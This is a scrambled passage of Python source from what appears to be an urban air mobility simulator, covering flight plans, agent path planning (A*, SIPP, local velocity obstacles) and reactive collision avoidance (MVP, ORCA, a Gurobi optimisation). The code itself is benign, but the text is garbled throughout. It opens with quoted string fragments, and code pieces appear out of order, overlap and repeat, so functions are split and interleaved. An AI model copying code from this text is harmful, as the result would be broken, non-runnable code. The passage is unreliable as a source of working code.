vel=reactive_solver.compute_new_velocity(self, dt) timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start)", "np.array([0, 0]) else: velocity = (self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high]) return self.positions[idx_high], velocity else: return self.positions[idx_high] idx_float", "if self.time_step is not None: idx_float = (float(time) - float(self.start_time)) / float(self.time_step) idx_low", "n_intruder + n_constraint] <= -c) n_constraint += 1 model.addConstr(X[2 + 2 * n_intruder]", "# If already moving away from conflict (tcpa is negative) then just keep", "too short') print('agent start '+ str(self.start)) print('agent goal '+str(self.goal)) print('agent plan pos '+str(plan))", "# Play one more time # print('agent start and goal are close, redrawing", "self.start_time if self.flight_status == 'finished': ideal_length = float(np.linalg.norm(self.goal - self.start)) actual_length = 0", "- self.start)) actual_length = 0 if self.trajectory == []: print('agent, empty trajectory ')", "= self.goal - self.start heading = math.atan2(direction[1], direction[0]) if self.agent_logic == 'reactive': self.density", "direction[0]) if self.agent_logic == 'reactive': self.density = self.cumulative_density/self.n_steps - 1 agent_log['flight_status']= self.flight_status agent_log['agent_type']=", "X[1] - K * X[2 + 2 * n_intruder + n_constraint] <= -c)", "is None: self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start - self.goal) < 10: #", "+ 0.1 * normal_2, normal_2) return constraint1, constraint2 def setupMIQCP(intruders, desired_vel, ownship_agent): \"\"\"", "/ d timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return desired_velocity else: print(algo_type+' not", "if self.agent_logic == 'reactive': self.cumulative_density += density self.n_steps += 1 if self.algo_type is", "* n_intruder + 1] <= 1) n_intruder += 1 model.addConstr(X[0] * X[0] +", "if self.time_step is not None: self.end_time = self.start_time + (len(self.positions) - 1) *", "(pos_high - pos_low) * (idx_float - idx_low), (pos_high-pos_low)/(self.times[idx_high]-self.times[idx_low]) else: return pos_low + (pos_high", "+= 1 model.addConstr(X[2 + 2 * n_intruder] + X[2 + 2 * n_intruder", "- self.start_time) <= 1e-4: return None, None trajectory_end_time = min(end_time, self.end_time) trajectory_start_time =", "self.start_time + (len(self.positions) - 1) * self.time_step else: return self.times[-1] class Agent: def", "for intruder in intruders: constraints_or = get_VO(intruder, ownship_agent) n_constraint = 0 for constraint", "numpy as np from uam_simulator import my_utils from uam_simulator import pathPlanning from uam_simulator", "= 'cancelled' return None self.start_time = times[0] self.flightPlan = Flightplan(times[0], times[1] - times[0],", "/ np.linalg.norm(self.velocity) theta=math.copysign(max_angle,turn_angle) return vel @ np.asarray([[math.cos(theta), math.sin(theta)], [-math.sin(theta), math.cos(theta)]]) else: return new_velocity", "if ignore_timed_out and time > self.end_time: if return_velocity: return None, None else: return", "if np.linalg.norm(self.start - self.goal) < 10: # Play one more time # print('agent", "flight plans of other agents find a free path and publish it self.density", "idx_low = min(math.floor(idx_float), n - 1) idx_high = min(math.ceil(idx_float), n - 1) if", "- timer_start) return desired_velocity + velocity_change elif algo_type == 'VO': timer_start = python_time.time()", "def get_predicted_end_time(self): if self.flightPlan is not None: return self.flightPlan.end_time else: print('Agent: in order", "= (self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high]) return self.positions[idx_high], velocity else: return self.positions[idx_high] idx_float = idx_low + (time", "self.flightPlan = None self.status = 'ok' self.agent_logic = agent_logic self.tolerance = self.environment.tolerance self.t_removed_from_sim=None", "vector2[0]]) # Rotated -90 degrees constraint2 = lambda x, y: np.dot((np.array([x, y]) -", "timer_start = python_time.time() intruders = self.get_neighbors() d = np.linalg.norm(self.goal - self.position) speed =", "1): trajectory.append(self.positions[index]) # times.append(self.start_time+index*self.time_step) times.append(self.times[index]) if upper != end_index_float: pos_end = self.get_planned_position_at(end_time) trajectory.append(pos_end)", "model.getVars() if intruders != []: # plotter([-1000,1000],[-1000,1000],100,[get_VO(intruders[0],self)],chosen_v=np.array([vars[0].x,vars[1].x])) pass timer_end = python_time.time() self.collision_avoidance_time.append(timer_end -", "- timer_start) return np.array([vars[0].x, vars[1].x]) elif algo_type == 'ORCA': timer_start = python_time.time() reactive_solver", "= 1.10 # 10% safety factor (as in The effects of Swarming on", "self.radius*safety_factor < dist: erratum = np.cos(np.arcsin((self.radius*safety_factor) / dist) - np.arcsin(dabsH / dist)) dV", "times=np.array(times)) timer_end = python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan if algo_type", "ignore_timed_out and time > self.end_time: if return_velocity: return None, None else: return None", "requires interpolation trajectory.append(self.get_planned_position_at(trajectory_end_time)) times.append(trajectory_end_time) else: trajectory.append(self.positions[end_index]) times.append(trajectory_end_time) else: start_index_float = float((trajectory_start_time - self.start_time)", "algo_type self.cumulative_density=0 self.density=0 self.n_steps=0 self.flight_leg=flight_leg def get_predicted_end_time(self): if self.flightPlan is not None: return", "None: return new_velocity * v_clamped / v else: turn_angle = my_utils.get_angle(self.velocity, new_velocity) max_angle=30*math.pi/180", "smaller normal_2 = np.array([-vector2[1], vector2[0]]) # Rotated -90 degrees constraint2 = lambda x,", "def compute_next_move(self, current_time, dt, debug=False, density=0): \"\"\" Store the next position in self.new_position.", "= model.getVars() if intruders != []: # plotter([-1000,1000],[-1000,1000],100,[get_VO(intruders[0],self)],chosen_v=np.array([vars[0].x,vars[1].x])) pass timer_end = python_time.time() self.collision_avoidance_time.append(timer_end", "flight plan (without consideration for kinematic properties) self.new_position = self.flightPlan.get_planned_position_at(current_time + dt, debug=debug)", "self.trajectory: d = np.linalg.norm(pos - pos_0) actual_length += d pos_0 = np.copy(pos) direction", "self.position) * speed / d model = setupMIQCP(intruders, desired_velocity, self) model.optimize() if model.status", "[] self.collision_avoidance_time = [] self.preflight_time = None self.flightPlan = None self.status = 'ok'", "X = model.getVars() n_intruder = 0 for intruder in intruders: constraints_or = get_VO(intruder,", "= decoupled_planner.search() if not success: self.flight_status = 'cancelled' return None self.start_time = times[0]", "[-math.sin(theta), math.cos(theta)]]) else: return new_velocity * v_clamped / v def preflight(self, dt, algo_type='Straight',", "- pos_0) actual_length += d pos_0 = np.copy(pos) direction = self.goal - self.start", "len(self.positions))]) if self.time_step is not None: self.end_time = self.start_time + (len(self.positions) - 1)", "exact pos if debug: print(idx_float) print(pos_high) print(pos_low) if return_velocity: return pos_low + (pos_high", "print(agent_logic) print(start) print(end) print(np.linalg.norm(self.goal - self.start)) self.velocity = self.maxSpeed * (self.goal - self.start)", "\"\"\" Store the next position in self.new_position. The position is updated when move", "* v_clamped / v def preflight(self, dt, algo_type='Straight', density=0): # Given, the start/goals", "self] def finish_flight(self, t,goal_pos=None, t_removed_from_sim=None): self.flight_status = 'finished' self.arrival_time = t self.t_removed_from_sim=t_removed_from_sim if", "if self.flight_status == 'finished': ideal_length = float(np.linalg.norm(self.goal - self.start)) actual_length = 0 if", "negative) then just keep going if t_cpa<=0: dV = 0 else: dV =(self.radius*safety_factor", "from gurobipy import GRB import time as python_time class Flightplan: def __init__(self, t0,", "pass timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return np.array([vars[0].x, vars[1].x]) elif algo_type ==", "- pos_low) * (idx_float - idx_low), (pos_high-pos_low)/(self.times[idx_high]-self.times[idx_low]) else: return pos_low + (pos_high -", "idx_low == idx_high: # Indices are equal because idx_float is an int if", "= positions self.time_step = dt self.times = None if times is not None:", "= None # Can't have random start and not random end (or vice", "+= dV timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return desired_velocity + velocity_change elif", "== 'LocalVO': timer_start = python_time.time() local_planner = pathPlanning.Local_VO(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance)", "start and goal are really close print(self.start) print(self.goal) pos_0 = self.trajectory[0] for pos", "- 1 agent_log['flight_status']= self.flight_status agent_log['agent_type']= self.agent_logic agent_log['length_ideal']= ideal_length agent_log['actual_length']= actual_length agent_log['ideal_time_of_arrival']= self.desired_start_time+ideal_length /", "self.n_steps=0 self.flight_leg=flight_leg def get_predicted_end_time(self): if self.flightPlan is not None: return self.flightPlan.end_time else: print('Agent:", "pos in self.trajectory: d = np.linalg.norm(pos - pos_0) actual_length += d pos_0 =", "def preflight(self, dt, algo_type='Straight', density=0): # Given, the start/goals and published flight plans", "pathPlanning.AStar_8grid(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager) success, plan, times = astar_planner.search() if not success:", "vice versa) if start is None or end is None: self.start, self.goal =", "goal are still close') else: self.start = start self.goal = end self.position =", "# Follow flight plan (without consideration for kinematic properties) self.new_position = self.flightPlan.get_planned_position_at(current_time +", "'+str(self.goal)) print('agent plan pos '+str(plan)) print('agent plan times ' + str(times)) self.flightPlan =", "1) * self.time_step else: return self.times[-1] class Agent: def __init__(self, env, radius, max_speed,", "a bit of a mess while d > self.maxSpeed * dt: pos =", "be greater normal_1 = np.array([vector1[1], -vector1[0]]) # Rotated +90 degrees constraint1 = lambda", "are a bit of a mess while d > self.maxSpeed * dt: pos", "idx_high - 1) if self.times[idx_high] == time or idx_low == idx_high: if return_velocity:", "+ i * self.time_step for i in range(0, len(self.positions))]) if self.time_step is not", "not happen intruder and ownship are the same') rel_pos = intruder_agent.position - ownship_agent.position", "time > self.end_time: if return_velocity: return None, None else: return None n =", "planned if np.linalg.norm(self.goal - self.start) == 0: print(agent_logic) print(start) print(end) print(np.linalg.norm(self.goal - self.start))", "= self.start_time if self.flight_status == 'finished': ideal_length = float(np.linalg.norm(self.goal - self.start)) actual_length =", "trajectory.append(self.get_planned_position_at(trajectory_end_time)) times.append(trajectory_end_time) else: trajectory.append(self.positions[end_index]) times.append(trajectory_end_time) else: start_index_float = float((trajectory_start_time - self.start_time) / self.time_step)", "where to go # Based on Hoekstra Bluesky simulator # The returned velocity", "agent_logic == 'dumb': protected_area = self.environment.get_protected_area() else: # All other agents can wait", "1) if self.times[idx_high] == time or idx_low == idx_high: if return_velocity: if idx_high", "else: return pos_low + (pos_high - pos_low) * (idx_float - idx_low) def get_planned_trajectory_between(self,", "self.algo_type = algo_type self.cumulative_density=0 self.density=0 self.n_steps=0 self.flight_leg=flight_leg def get_predicted_end_time(self): if self.flightPlan is not", "def __init__(self, env, radius, max_speed, start=None, end=None, start_time=0, agent_logic='dumb', centralized_manager=None, algo_type=None, agent_dynamics=None, id=0,", "- self.start_time) / self.time_step) end_index_float = float((trajectory_end_time - self.start_time) / self.time_step) lower =", "velocity else: return self.positions[idx_high] idx_float = idx_low + (time - self.times[idx_low]) / (self.times[idx_high]", "debug=debug) self.new_velocity = (self.new_position - self.position) / dt if debug: print('New position '", "constraint(0, 1) - c # K must be arbitrarily large so that when", "/ self.time_step) lower = math.ceil(start_index_float) upper = min(math.floor(end_index_float), len(self.positions) - 1) if lower", "- desired_vel[0]) * (X[0] - desired_vel[0]) + (X[1] - desired_vel[1]) * (X[1] -", "sorted trajectory.append(self.get_planned_position_at(trajectory_start_time)) times.append(trajectory_start_time) for i in range(start_index, end_index): trajectory.append(self.positions[i]) times.append(self.times[i]) # trajectory_end_time <=", "is not None: return self.flightPlan.end_time else: print('Agent: in order to get the predicted", "position ' + str(self.new_position)) print('old position ' + str(self.position)) if self.trajectory == []:", "so that when the binary constraint is 1 the constraint is always respected", "solution') print(model.status) vars = model.getVars() if intruders != []: # plotter([-1000,1000],[-1000,1000],100,[get_VO(intruders[0],self)],chosen_v=np.array([vars[0].x,vars[1].x])) pass timer_end", "* (X[0] - desired_vel[0]) + (X[1] - desired_vel[1]) * (X[1] - desired_vel[1]), GRB.MINIMIZE)", "self.time_step) lower = math.ceil(start_index_float) upper = min(math.floor(end_index_float), len(self.positions) - 1) if lower !=", "random') self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start - self.goal) < 10: print('unlikely, agent", "np.searchsorted(self.times, [trajectory_start_time, trajectory_end_time]) temp = self.times[start_index] if abs(self.times[start_index]-trajectory_start_time) > 1e-4: # requires interpolation", "is 0') desired_velocity = (self.goal - self.position) * speed / d model =", "\"\"\" Returns trajectory between start_time and end_time\"\"\" if (start_time - self.end_time) >= -1e-4", "timer_start return self.flightPlan else: print('The algo type ' + algo_type + ' is", "= True self.flight_status = 'initialized' self.algo_type = algo_type self.cumulative_density=0 self.density=0 self.n_steps=0 self.flight_leg=flight_leg def", "= radius self.orientation = 0 self.minSpeed = 0.0 self.maxSpeed = max_speed self.sensing_radius =", "Voltage Potential-Based Conflict Resolution Algorithm, <NAME>) # if d<=self.radius: # dV=0 # else:", "in constraints_or: c = constraint(0, 0) a = constraint(1, 0) - c b", "goal is 0') desired_velocity = (self.goal - self.position) * speed / d model", "goal '+str(self.goal)) print('agent plan pos '+str(plan)) print('agent plan times ' + str(times)) self.flightPlan", "10% safety factor (as in The effects of Swarming on a Voltage Potential-Based", "self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times = decoupled_planner.search() if not success: self.flight_status =", "* speed / d model = setupMIQCP(intruders, desired_velocity, self) model.optimize() if model.status !=", "dist * dabsH if self.radius*safety_factor < dist: erratum = np.cos(np.arcsin((self.radius*safety_factor) / dist) -", "== 'straight': return True neighbors = self.environment.get_neighbors(self.position, self.radius) for vehicle in neighbors: if", "debug: print(idx_float) print(pos_high) print(pos_low) if return_velocity: return pos_low + (pos_high - pos_low) *", "self.time_step is not None: return self.start_time + (len(self.positions) - 1) * self.time_step else:", "# Can't have random start and not random end (or vice versa) if", "return None, None else: return None n = len(self.positions) if self.time_step is not", "published flight plans of other agents find a free path and publish it", "short') print('agent start '+ str(self.start)) print('agent goal '+str(self.goal)) print('agent plan pos '+str(plan)) print('agent", "dV timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return desired_velocity + velocity_change elif algo_type", "1) n_intruder += 1 model.addConstr(X[0] * X[0] + X[1] * X[1] <= max_vel", "# Rotated +90 degrees constraint1 = lambda x, y: np.dot((np.array([x, y]) - intruder_agent.velocity)", "python_time.time() astar_planner = pathPlanning.AStar_8grid(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager) success, plan, times = astar_planner.search()", "self.preflight_time = timer_end - timer_start return self.flightPlan if algo_type == 'A_star_8': timer_start =", "np.arcsin(dabsH / dist)) dV =(((self.radius*safety_factor) / erratum - dabsH) * dcpa)/(abs(t_cpa)*dabsH) else: #", "= self.get_neighbors() d = np.linalg.norm(self.goal - self.position) speed = min(d / dt, self.maxSpeed)", "self.maxSpeed * dt: pos = self.compute_straight_move(pos, self.goal, self.maxSpeed, dt) d = np.linalg.norm(self.goal -", "np.linalg.norm(self.start - self.goal) < 10: # Play one more time # print('agent start", "pos = self.compute_straight_move(pos, self.goal, self.maxSpeed, dt) d = np.linalg.norm(self.goal - pos) plan.append(pos) if", "heading = math.atan2(direction[1], direction[0]) if self.agent_logic == 'reactive': self.density = self.cumulative_density/self.n_steps - 1", "plan.append(self.start) pos = np.copy(self.start) d = np.linalg.norm(self.goal - pos) # Larger time steps", "start_time, end_time, debug=False): \"\"\" Returns trajectory between start_time and end_time\"\"\" if (start_time -", "sum(self.collision_avoidance_time) return agent_log def get_VO(intruder_agent, ownship_agent): if intruder_agent == ownship_agent: print('get_VO this should", "= python_time.time() self.preflight_time = timer_end - timer_start return None self.start_time = times[0] self.flightPlan", "= self.get_planned_position_at(end_time) trajectory.append(pos_end) times.append(trajectory_end_time) return trajectory, times def get_end_time(self): if self.time_step is not", "== 'strategic': agent_log['time_to_preflight'] = self.preflight_time elif self.agent_logic == 'reactive': agent_log['average_time_to_plan_avoidance'] = sum(self.collision_avoidance_time) /", "= t return True def collision_avoidance(self, dt, algo_type='MVP'): # Given current position, next", "self.positions[idx_high], velocity else: return self.positions[idx_high] else: if time > self.times[-1]: return np.copy(self.positions[-1]) idx_high", "from uam_simulator import my_utils from uam_simulator import pathPlanning from uam_simulator import orca import", "degrees constraint2 = lambda x, y: np.dot((np.array([x, y]) - intruder_agent.velocity) + 0.1 *", "on a Voltage Potential-Based Conflict Resolution Algorithm, <NAME>) # if d<=self.radius: # dV=0", "self.preflight_time = None self.flightPlan = None self.status = 'ok' self.agent_logic = agent_logic self.tolerance", "self.trajectory[0] for pos in self.trajectory: d = np.linalg.norm(pos - pos_0) actual_length += d", "- idx_low) def get_planned_trajectory_between(self, start_time, end_time, debug=False): \"\"\" Returns trajectory between start_time and", "mess while d > self.maxSpeed * dt: pos = self.compute_straight_move(pos, self.goal, self.maxSpeed, dt)", "- self.position d = np.linalg.norm(direction) desired_velocity = min(self.maxSpeed, d / dt) * direction", "* dcpa)/(abs(t_cpa)*dabsH) else: # If already moving away from conflict (tcpa is negative)", "- neighbor.position dist=np.linalg.norm(delta_pos) delta_vel = desired_velocity - neighbor.velocity if np.linalg.norm(delta_vel)==0: t_cpa=0 else: t_cpa=-np.dot(delta_pos,", "{'flight_status': self.flight_status, 'agent_type': self.agent_logic, 'desired_time_of_departure': self.desired_start_time, 'agent_id':self.id} if self.flight_status== 'finished' or self.flight_status ==", "0.1 * normal_2, normal_2) return constraint1, constraint2 def setupMIQCP(intruders, desired_vel, ownship_agent): \"\"\" Intruders", "idx_float = idx_low + (time - self.times[idx_low]) / (self.times[idx_high] - self.times[idx_low]) pos_high =", "self.trajectory.append(np.copy(goal_pos)) self.trajectory_times.append(t) def log_agent(self): agent_log = {'flight_status': self.flight_status, 'agent_type': self.agent_logic, 'desired_time_of_departure': self.desired_start_time, 'agent_id':self.id}", "= len(self.positions) if self.time_step is not None: idx_float = (float(time) - float(self.start_time)) /", "preflight error, a centralized manager must exist') if algo_type == 'Straight': timer_start =", "* dt, d) # slow down to arrive at the goal on the", "self.new_velocity = self.velocity self.trajectory = [] self.trajectory_times = [] self.collision_avoidance_time = [] self.preflight_time", "def velocity_update(self, new_velocity): # Introduce kinematic constraints # For now just clamp the", "n-1: velocity = np.array([0, 0]) else: velocity = (self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high]) return self.positions[idx_high], velocity else:", "returns the exact pos if debug: print(idx_float) print(pos_high) print(pos_low) if return_velocity: return pos_low", "<= max_vel ** 2) model.setObjective( (X[0] - desired_vel[0]) * (X[0] - desired_vel[0]) +", "* speed / d timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return desired_velocity else:", "All other agents can wait in place protected_area = None # Can't have", "self.new_position. The position is updated when move is called \"\"\" if self.agent_logic ==", "'ORCA': timer_start = python_time.time() reactive_solver = orca.ORCA() vel=reactive_solver.compute_new_velocity(self, dt) timer_end = python_time.time() self.collision_avoidance_time.append(timer_end", "Rotated -90 degrees constraint2 = lambda x, y: np.dot((np.array([x, y]) - intruder_agent.velocity) +", "sipp_planner.search() if not success: self.flight_status = 'cancelled' return None self.start_time = times[0] self.flightPlan", "if abs(self.times[start_index]-trajectory_start_time) > 1e-4: # requires interpolation # Since we already now the", "self.trajectory == []: self.trajectory.append(np.copy(self.position)) self.trajectory_times.append(current_time) self.trajectory.append(np.copy(self.new_position)) self.trajectory_times.append(current_time + dt) self.flight_status = 'ongoing' def", "velocity_change += dV timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return desired_velocity + velocity_change", "1) if idx_low == idx_high: # Indices are equal because idx_float is an", "1.10 # 10% safety factor (as in The effects of Swarming on a", "Conflict Resolution Algorithm, <NAME>) # if d<=self.radius: # dV=0 # else: for neighbor", "start_time # actual start time if a ground delay is planned if np.linalg.norm(self.goal", "/ float(self.time_step) idx_low = min(math.floor(idx_float), n - 1) idx_high = min(math.ceil(idx_float), n -", "plan = [] plan.append(self.start) pos = np.copy(self.start) d = np.linalg.norm(self.goal - pos) #", "not None: return self.start_time + (len(self.positions) - 1) * self.time_step else: return self.times[-1]", "safety factor (as in The effects of Swarming on a Voltage Potential-Based Conflict", "!= []: # plotter([-1000,1000],[-1000,1000],100,[get_VO(intruders[0],self)],chosen_v=np.array([vars[0].x,vars[1].x])) pass timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return np.array([vars[0].x,", "model.optimize() if model.status != GRB.Status.OPTIMAL: print('Error gurobi failed to find a solution') print(model.status)", "True self.flight_status = 'initialized' self.algo_type = algo_type self.cumulative_density=0 self.density=0 self.n_steps=0 self.flight_leg=flight_leg def get_predicted_end_time(self):", "> 1e-4: # requires interpolation # Since we already now the index we", "self.flight_status = 'cancelled' timer_end = python_time.time() self.preflight_time = timer_end - timer_start return None", "def compute_straight_move(self, current_position, goal, speed, dt): orientation = math.atan2(goal[1] - current_position[1], goal[0] -", "math.sin(theta + alpha)] vector2 = [math.cos(theta - alpha), math.sin(theta - alpha)] # must", "self.flightPlan if algo_type == 'LocalVO': timer_start = python_time.time() local_planner = pathPlanning.Local_VO(self.start, self.goal, self.start_time,", "should not happen') print('distance to goal is 0') desired_velocity = (self.goal - self.position)", "self.tolerance) success, plan, times = local_planner.search() if not success: self.flight_status = 'cancelled' return", "0: print('the distance between the two agents is 0') if ownship_agent.radius > d:", "a solution') print(model.status) vars = model.getVars() if intruders != []: # plotter([-1000,1000],[-1000,1000],100,[get_VO(intruders[0],self)],chosen_v=np.array([vars[0].x,vars[1].x])) pass", "same') rel_pos = intruder_agent.position - ownship_agent.position d = np.linalg.norm(rel_pos) if d == 0:", "- self.start) / (np.linalg.norm(self.goal - self.start)) self.new_velocity = self.velocity self.trajectory = [] self.trajectory_times", "ownship_agent.position d = np.linalg.norm(rel_pos) if d == 0: print('the distance between the two", "return_velocity: return pos_low + (pos_high - pos_low) * (idx_float - idx_low), (pos_high-pos_low)/(self.times[idx_high]-self.times[idx_low]) else:", "/ self.time_step) end_index_float = float((trajectory_end_time - self.start_time) / self.time_step) lower = math.ceil(start_index_float) upper", "actual_length = 0 if self.trajectory == []: print('agent, empty trajectory ') # happens", "or (end_time - self.start_time) <= 1e-4: return None, None trajectory_end_time = min(end_time, self.end_time)", "= min(math.floor(idx_float), n - 1) idx_high = min(math.ceil(idx_float), n - 1) if idx_low", "then just keep going if t_cpa<=0: dV = 0 else: dV =(self.radius*safety_factor -", "times = astar_planner.search() if not success: self.flight_status = 'cancelled' timer_end = python_time.time() self.preflight_time", "go # Based on Hoekstra Bluesky simulator # The returned velocity might not", "math.asin(ownship_agent.radius / d) # VO cone half-angle (>=0) theta = math.atan2(rel_pos[1], rel_pos[0]) vector1", "already now the index we could avoid a second call to search sorted", "and goal are close, redrawing at random') self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start", "- self.position) / dt if self.agent_logic == 'reactive': self.cumulative_density += density self.n_steps +=", "return neighbors[neighbors != self] def get_nearest_neighbors(self, k, max_radius): # Will return itself so", "are really close print(self.start) print(self.goal) pos_0 = self.trajectory[0] for pos in self.trajectory: d", "vehicle.id != self.id: # if np.linalg.norm(self.position - vehicle.position) <= self.radius: self.flight_status = 'waiting'", "== 'ongoing': agent_log['actual_time_of_departure'] = self.start_time if self.flight_status == 'finished': ideal_length = float(np.linalg.norm(self.goal -", "return vel elif algo_type == 'straight': timer_start = python_time.time() d = np.linalg.norm(self.goal -", "(idx_float - idx_low) def get_planned_trajectory_between(self, start_time, end_time, debug=False): \"\"\" Returns trajectory between start_time", "is None: self.algo_type = 'MVP' self.new_velocity = self.collision_avoidance(dt, algo_type=self.algo_type) self.new_velocity = self.velocity_update(self.new_velocity) self.new_position", "still close') else: self.start = start self.goal = end self.position = np.copy(self.start) #", "self.times = np.array([self.start_time + i * self.time_step for i in range(0, len(self.positions))]) if", "'reactive': agent_log['average_time_to_plan_avoidance'] = sum(self.collision_avoidance_time) / len(self.collision_avoidance_time) agent_log['total_planning_time'] = sum(self.collision_avoidance_time) return agent_log def get_VO(intruder_agent,", "!= self] def get_nearest_neighbors(self, k, max_radius): # Will return itself so query one", "timer_start = python_time.time() local_planner = pathPlanning.Local_VO(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan,", "dcpa = delta_pos+delta_vel*t_cpa dabsH = np.linalg.norm(dcpa) # If there is a conflict if", "if self.trajectory == []: self.trajectory.append(np.copy(self.position)) self.trajectory_times.append(current_time) self.trajectory.append(np.copy(self.new_position)) self.trajectory_times.append(current_time + dt) self.flight_status = 'ongoing'", "self.trajectory.append(np.copy(self.new_position)) self.trajectory_times.append(current_time + dt) self.flight_status = 'ongoing' def compute_straight_move(self, current_position, goal, speed, dt):", "vehicles decide where to go # Based on Hoekstra Bluesky simulator # The", "the start/goals and published flight plans of other agents find a free path", "goal, speed, dt): orientation = math.atan2(goal[1] - current_position[1], goal[0] - current_position[0]) d =", "density self.n_steps += 1 if self.algo_type is None: self.algo_type = 'MVP' self.new_velocity =", "is not None: self.time_step = None self.times = np.array(times) else: self.times = np.array([self.start_time", "else: self.end_time=self.times[-1] def get_planned_position_at(self, time, return_velocity=False, ignore_timed_out=False, debug=False): \"\"\" Interpolates between the flight", "- timer_start) return desired_velocity else: print(algo_type+' not implemented ') def get_neighbors(self): neighbors =", "n = len(self.positions) if self.time_step is not None: idx_float = (float(time) - float(self.start_time))", "alpha)] vector2 = [math.cos(theta - alpha), math.sin(theta - alpha)] # must be greater", "current_position) max_step_length = min(speed * dt, d) # slow down to arrive at", "X[0] + b * X[1] - K * X[2 + 2 * n_intruder", "return self.positions[idx_high], velocity else: return self.positions[idx_high] idx_float = idx_low + (time - self.times[idx_low])", "times = [] if debug: print('time step is '+str(self.time_step)) print('start_time is '+str(start_time)) print('end_time", "vars[1].x]) elif algo_type == 'ORCA': timer_start = python_time.time() reactive_solver = orca.ORCA() vel=reactive_solver.compute_new_velocity(self, dt)", "self.get_planned_position_at(end_time) trajectory.append(pos_end) times.append(trajectory_end_time) return trajectory, times def get_end_time(self): if self.time_step is not None:", "debug=False): \"\"\" Interpolates between the flight points \"\"\" if ignore_timed_out and time >", "my_utils.clamp(self.minSpeed, self.maxSpeed, v) if self.agent_dynamics is None: return new_velocity * v_clamped / v", "if self.flightPlan is not None: return self.flightPlan.end_time else: print('Agent: in order to get", "* X[1] <= max_vel ** 2) model.setObjective( (X[0] - desired_vel[0]) * (X[0] -", "np.array([-vector2[1], vector2[0]]) # Rotated -90 degrees constraint2 = lambda x, y: np.dot((np.array([x, y])", "[]: return [] else: return neighbors[neighbors != self] def get_nearest_neighbors(self, k, max_radius): #", "- dabsH) * dcpa)/(abs(t_cpa)*dabsH) else: # If already moving away from conflict (tcpa", "= (float(time) - float(self.start_time)) / float(self.time_step) idx_low = min(math.floor(idx_float), n - 1) idx_high", "python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan else: print('The algo type '", "* X[2 + 2 * n_intruder + n_constraint] <= -c) n_constraint += 1", "# Find Time of Closest Approach delta_pos = self.position - neighbor.position dist=np.linalg.norm(delta_pos) delta_vel", "self.start_time) <= 1e-4: return None, None trajectory_end_time = min(end_time, self.end_time) trajectory_start_time = max(start_time,", "elif self.agent_logic == 'reactive': agent_log['average_time_to_plan_avoidance'] = sum(self.collision_avoidance_time) / len(self.collision_avoidance_time) agent_log['total_planning_time'] = sum(self.collision_avoidance_time) return", "Find Time of Closest Approach delta_pos = self.position - neighbor.position dist=np.linalg.norm(delta_pos) delta_vel =", "self.trajectory = [] self.trajectory_times = [] self.collision_avoidance_time = [] self.preflight_time = None self.flightPlan", "not success: self.flight_status = 'cancelled' timer_end = python_time.time() self.preflight_time = timer_end - timer_start", "= python_time.time() plan = [] plan.append(self.start) pos = np.copy(self.start) d = np.linalg.norm(self.goal -", "+ (pos_high - pos_low) * (idx_float - idx_low), (pos_high-pos_low)/(self.times[idx_high]-self.times[idx_low]) else: return pos_low +", "can wait in place protected_area = None # Can't have random start and", "return None self.start_time = times[0] self.flightPlan = Flightplan(times[0], times[1] - times[0], plan, times=np.array(times))", "(self.times[idx_high] - self.times[idx_low]) pos_high = self.positions[idx_high] pos_low = self.positions[idx_low] # if time is", "= timer_end - timer_start return self.flightPlan if algo_type == 'SIPP': timer_start = python_time.time()", "= model.getVars() n_intruder = 0 for intruder in intruders: constraints_or = get_VO(intruder, ownship_agent)", "+ 1] <= 1) n_intruder += 1 model.addConstr(X[0] * X[0] + X[1] *", "None self.status = 'ok' self.agent_logic = agent_logic self.tolerance = self.environment.tolerance self.t_removed_from_sim=None if agent_logic", "[] if debug: print('time step is '+str(self.time_step)) print('start_time is '+str(start_time)) print('end_time '+str(end_time)) print('positions", "centralized_manager self.agent_dynamics = agent_dynamics if agent_logic == 'dumb': protected_area = self.environment.get_protected_area() else: #", "to get the predicted end time a flight plan must exist') return self.start_time", "timer_start return self.flightPlan if algo_type == 'SIPP': timer_start = python_time.time() sipp_planner = pathPlanning.SIPP(self.start,", "self.position) speed = min(d / dt, self.maxSpeed) if d == 0: print('VO, this", "= self.cumulative_density/self.n_steps - 1 agent_log['flight_status']= self.flight_status agent_log['agent_type']= self.agent_logic agent_log['length_ideal']= ideal_length agent_log['actual_length']= actual_length agent_log['ideal_time_of_arrival']=", "+ X[1] * X[1] <= max_vel ** 2) model.setObjective( (X[0] - desired_vel[0]) *", "* X[0] + X[1] * X[1] <= max_vel ** 2) model.setObjective( (X[0] -", "uam_simulator import pathPlanning from uam_simulator import orca import gurobipy as grb from gurobipy", "max_vel = ownship_agent.maxSpeed model.addVar(lb=-max_vel, ub=max_vel, name='x') model.addVar(lb=-max_vel, ub=max_vel, name='y') model.addVars(2 * len(intruders), vtype=GRB.BINARY)", "happen') print('distance to goal is 0') desired_velocity = (self.goal - self.position) * speed", "np.linalg.norm(dcpa) # If there is a conflict if dabsH < self.radius: # If", "finish_flight(self, t,goal_pos=None, t_removed_from_sim=None): self.flight_status = 'finished' self.arrival_time = t self.t_removed_from_sim=t_removed_from_sim if goal_pos is", "# Rotated -90 degrees constraint2 = lambda x, y: np.dot((np.array([x, 